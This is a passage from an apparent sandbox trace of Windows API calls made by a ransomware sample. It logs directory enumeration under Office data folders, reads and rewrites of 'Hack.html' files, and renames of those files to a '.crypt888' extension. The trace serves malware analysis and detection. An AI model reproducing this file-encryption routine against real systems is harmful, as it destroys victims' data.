lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html", lpFilePart=0x0) returned 0x3d [0088.903] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.904] GetFileType (hFile=0x174) returned 0x1 [0088.904] GetFileType (hFile=0x174) returned 0x1 [0088.904] WriteFile (in: hFile=0x174, lpBuffer=0x279b41c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x279b41c*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0088.906] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html", lpFilePart=0x0) returned 0x3d [0088.906] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html.crypt888", lpFilePart=0x0) returned 0x46 [0088.906] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbb95aa0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbb95aa0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc631a6e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.906] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\hack.html.crypt888")) returned 1 [0088.906] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html", lpFilePart=0x0) returned 0x3d [0088.907] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.907] GetFileType (hFile=0x174) returned 0x1 [0088.907] GetFileType (hFile=0x174) returned 0x1 [0088.908] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082", lpFilePart=0x0) returned 0x33 [0088.908] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpFilePart=0x0) returned 0x34 [0088.908] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x599f28 [0088.908] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.908] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.908] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.908] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.908] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.908] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.908] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.909] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0088.909] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082", lpFilePart=0x0) returned 0x33 [0088.910] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpFilePart=0x0) returned 0x34 [0088.910] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x599f28 [0088.910] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0088.910] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html", lpFilePart=0x0) returned 0x3d [0088.910] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.910] GetFileType (hFile=0x174) returned 0x1 [0088.910] GetFileType (hFile=0x174) returned 0x1 [0088.910] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0088.910] ReadFile (in: hFile=0x174, lpBuffer=0x27a6d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27a6d70*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0088.929] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html", lpFilePart=0x0) returned 0x3d [0088.929] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.930] GetFileType (hFile=0x174) returned 0x1 [0088.930] GetFileType (hFile=0x174) returned 0x1 [0088.931] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html", lpFilePart=0x0) returned 0x3d [0088.931] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html.crypt888", lpFilePart=0x0) returned 0x46 [0088.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbbe1d60, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbbe1d60, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6340840, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.931] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\hack.html.crypt888")) returned 1 [0088.932] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html", lpFilePart=0x0) returned 0x3d [0088.932] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.933] GetFileType (hFile=0x174) returned 0x1 [0088.933] GetFileType (hFile=0x174) returned 0x1 [0088.934] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html", lpFilePart=0x0) returned 0x38 [0088.934] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.935] GetFileType (hFile=0x174) returned 0x1 [0088.935] GetFileType (hFile=0x174) returned 0x1 [0088.936] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html", lpFilePart=0x0) returned 0x2d [0088.936] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.936] GetFileType (hFile=0x174) returned 0x1 [0088.936] GetFileType (hFile=0x174) returned 0x1 [0088.937] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform", lpFilePart=0x0) returned 0x3d [0088.937] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpFilePart=0x0) returned 0x3e [0088.937] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a728 [0088.938] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0088.938] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform", lpFilePart=0x0) returned 0x3d [0088.938] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpFilePart=0x0) returned 0x3e [0088.938] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a728 [0088.938] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0088.938] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html", lpFilePart=0x0) returned 0x47 [0088.938] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.938] GetFileType (hFile=0x174) returned 0x1 [0088.938] GetFileType (hFile=0x174) returned 0x1 [0088.938] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.938] ReadFile (in: hFile=0x174, lpBuffer=0x27ffd94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27ffd94*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.956] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html", lpFilePart=0x0) returned 0x47 [0088.956] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.957] GetFileType (hFile=0x174) returned 0x1 [0088.957] GetFileType (hFile=0x174) returned 0x1 [0088.957] WriteFile (in: hFile=0x174, lpBuffer=0x284df28*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x284df28*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0088.958] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html", lpFilePart=0x0) returned 0x47 [0088.958] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html.crypt888", lpFilePart=0x0) returned 0x50 [0088.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc07ec0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc07ec0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc638cb00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.958] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\hack.html.crypt888")) returned 1 [0088.959] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", lpFilePart=0x0) returned 0x43 [0088.959] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\", lpFilePart=0x0) returned 0x44 [0088.959] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a668 [0088.959] FindClose (in: hFindFile=0x59a668 | out: hFindFile=0x59a668) returned 1 [0088.959] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", lpFilePart=0x0) returned 0x43 [0088.959] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\", lpFilePart=0x0) returned 0x44 [0088.959] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a668 [0088.959] FindClose (in: hFindFile=0x59a668 | out: hFindFile=0x59a668) returned 1 [0088.959] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html", lpFilePart=0x0) returned 0x4d [0088.959] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.959] GetFileType (hFile=0x174) returned 0x1 [0088.959] GetFileType (hFile=0x174) returned 0x1 [0088.959] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0088.959] ReadFile (in: hFile=0x174, lpBuffer=0x2851248, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2851248*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0088.974] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html", lpFilePart=0x0) returned 0x4d [0088.974] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.975] GetFileType (hFile=0x174) returned 0x1 [0088.975] GetFileType (hFile=0x174) returned 0x1 [0088.975] WriteFile (in: hFile=0x174, lpBuffer=0x289f3e8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x289f3e8*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0088.976] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html", lpFilePart=0x0) returned 0x4d [0088.976] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html.crypt888", lpFilePart=0x0) returned 0x56 [0088.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc07ec0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc07ec0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc63b2c60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.976] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\hack.html.crypt888")) returned 1 [0088.977] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html", lpFilePart=0x0) returned 0x4d [0088.977] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.977] GetFileType (hFile=0x174) returned 0x1 [0088.977] GetFileType (hFile=0x174) returned 0x1 [0088.978] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html", lpFilePart=0x0) returned 0x47 [0088.978] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.979] GetFileType (hFile=0x174) returned 0x1 [0088.979] GetFileType (hFile=0x174) 